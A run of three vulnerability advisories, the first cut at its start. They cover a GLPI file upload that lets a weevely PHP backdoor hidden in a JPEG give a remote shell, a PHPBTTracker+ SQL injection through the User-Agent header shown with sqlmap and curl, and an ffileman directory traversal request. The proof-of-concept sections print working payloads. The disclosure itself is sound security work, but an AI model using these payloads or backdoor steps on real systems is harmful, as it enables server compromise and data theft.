  • predictable uploaded file names and path
  • upload of any kind of file, not limited to images

 

III. PROOF OF CONCEPT

Generate backdoor:

user@backbox:~$ weevely generate pass123 /tmp/bd.php
user@backbox:~$ file /tmp/photo.jpeg 
/tmp/photo.jpeg: JPEG image data, JFIF standard 1.02
user@backbox:~$ cat /tmp/bd.php >> /tmp/photo.jpeg
user@backbox:~$ mv /tmp/photo.jpeg /tmp/photo.php

Upload the new tampered photo in GLPI > Settings

Run terminal to the target:

user@backbox:~$ weevely http://host/GLPI_ROOT/files/_pictures/XXXX.php pass123

 

IV. BUSINESS IMPACT

By uploading a interpretable php file, an attacker may be able to execute arbitrary code on the server.

This flaw may compromise the integrity of the system and/or expose sensitive information.

 

V. SYSTEMS AFFECTED

GLPI Version 0.85.5 is vulnerable (probably all previous versions)

 

VI. VULNERABILITY HISTORY

September 7th, 2015: Vulnerability identification
September 25th, 2015: Vendor notification

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

PHPBTTracker+ v2.2, SQL Injection

# Exploit Author: BackBox Team
# Vendor Homepage: http://phpbttrkplus.sourceforge.net/
# Software Link: http://sourceforge.net/projects/phpbttrkplus/files/
# Version: PHPBTTracker+ v2.2
# Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0

 

I. INTRODUCTION

SQL Injection through User-Agent.

User agent is an HTTP header section provided by application used by the original client. This is used for statistical purposes and the protocol violation tracing. The first white space delimited word must include the product name with an optional slash and version number.

User agent injection is a critical issue for web applications. In this specific case it’s worthed to do an investigation on the header section of user-agent to see if there is any malformation that will allow an SQLi.

Example:

GET /tracker.php
User-Agent: Transmission/2.51' OR (SLEEP(20)) AND 'aaaa'='aaaa
Host: [host]
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

 

II. BACKGROUND

BitTorrent tracker protocol is used by clients to request the IP addresses of other peers associated with a torrent, and to exchange the client’s transfer statistics. Clients connect to a centralized server, known as a *tracker*, which stores their IP addresses and responds with the IP addresses of other clients (also known as *peers*). The tracker has no knowledge about the association of the nodes and their pieces (it functions only as bridge between clients).

The standard tracker protocol is based on HTTP, with request data encoded as query parameters (as used by HTML forms) and response data BEncoded.

Query parameters must be encoded according to the rules for HTML form submissions through HTTP GET: ‘reserved character’ bytes are encoded in hexadecimal as %HH, and space is encoded as “+”; names and values are joined with “=” and the pairs joined with “&”.

The tracker’s URL announce is obtained from the announce entry of the root dictionary of the torrent metadata file.

Clients announce themselves by sending a GET request to the tracker’s URL announce with “?” and the following parameters (encoded as above) appended:

info_hash
The 20 byte sha1 hash of the bencoded form of the info value from the metainfo file. Note that this is a substring of the metainfo file. Don’t forget to URL-encode this.

peer_id
A string of length 20 which the downloader uses as its id. Each downloader generates its own id at random at the start of a new download. Don’t forget to URL-encode this.

port
Port number that the peer is listening on. Common behavior is for a downloader to try to listen on port 6881 and if that port is taken try 6882, then 6883, etc. and give up after 6889.

uploaded
Total amount uploaded so far, represented in base ten in ASCII.

downloaded
Total amount downloaded so far, represented in base ten in ASCII.

left
Number of bytes that a specific client still has to download, represented in base ten in ASCII. Note that this can’t be computed from downloaded and the file length since the client might be resuming an earlier download, and there is a chance that some of the downloaded data failed an integrity check and had to be re-downloaded.

event
Optional key which maps to started, completed, or stopped (or empty, which is the same as not being present). If not present, this is one of the announcements done at regular intervals. An announcement using started is sent when a download first begins, and one using completed is sent when the download is complete. No completed is
sent if the file was complete when started. Downloaders should send an announcement using ‘stopped’ when they cease downloading, if they can.

Example:

http://hostname/announce
?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4
&peer_id=
&port=51413
&uploaded=0
&downloaded=0
&left=0
&event=started

 

III. DESCRIPTION

In order to exploit the vulnerability the torrent has to be managed by the tracker. First we need to extract the GET request, and parse out the parameter “info_hash”, a proxy or a traffic sniffer like Wireshark can help us to do that.

Example:

GET /phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started HTTP/1.1
User-Agent: Transmission/2.51
Host: hostname
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

Then it’s possible to inject SQL commands inside the User-Agent field.

 

IV. PROOF OF CONCEPT

Is it possible to verify the vulnerability by using, for example, sqlmap or curl…

* Using SQLMap

raffaele@backbox:~$ sqlmap -u "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -o --level 3 -p user-agent

User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 318 HTTP(s) requests:

Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT (CASE WHEN (6960=6960) THEN 0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND "mhBW"="mhBW

* Using curl

raffaele@backbox:~$ curl "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -A 'asd" OR (SLEEP(15)) AND "'
[...]
d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker id4:1131e

 

V. BUSINESS IMPACT

An attacker could execute arbitrary SQL queries on the vulnerable system. This may compromise the integrity of database and/or expose sensitive information.

 

VI. SYSTEMS AFFECTED

PHPBTTracker+ Version 2.2 is vulnerable (probably v2.x and RivetTracker v1.x too)

 

VII. REFERENCES

  • http://resources.infosecinstitute.com/sql-injection-http-headers
  • https://wiki.theory.org/BitTorrent_Tracker_Protocol

 

VIII. CREDITS

The vulnerability has been discovered by BackBox Linux Team

 

IX. VULNERABILITY HISTORY

May 13th, 2014: Vulnerability identification
May ??th, 2014: Vendor notification
May ??th, 2014: Vulnerability disclosure

 

X. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

ffileman v7.0, Directory Traversal Vulnerability

# Author: Raffaele Forte
# Vendor Homepage: https://f-fileman.sourceforge.io/
# Version: ffileman v7.0
# Tested on: Linux

 

I. DESCRIPTION

Directory traversal vulnerabilities has been found in ffileman 7.0 a web based file and directory manager written with Perl.

The vulnerability can be exploited to access local files by entering special characters in variables used to create file paths. The attackers use “../” sequences to move up to root directory, thus permitting navigation through the file system.

The issue discovered can only be exploited with an authenticated session and setting the variable “direkt” like below with a HTTP GET or POST request.

 

Request:

GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory

 

VI. VULNERABILITY HISTORY
July 17th, 2009: Fixed with version 8.0

 

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.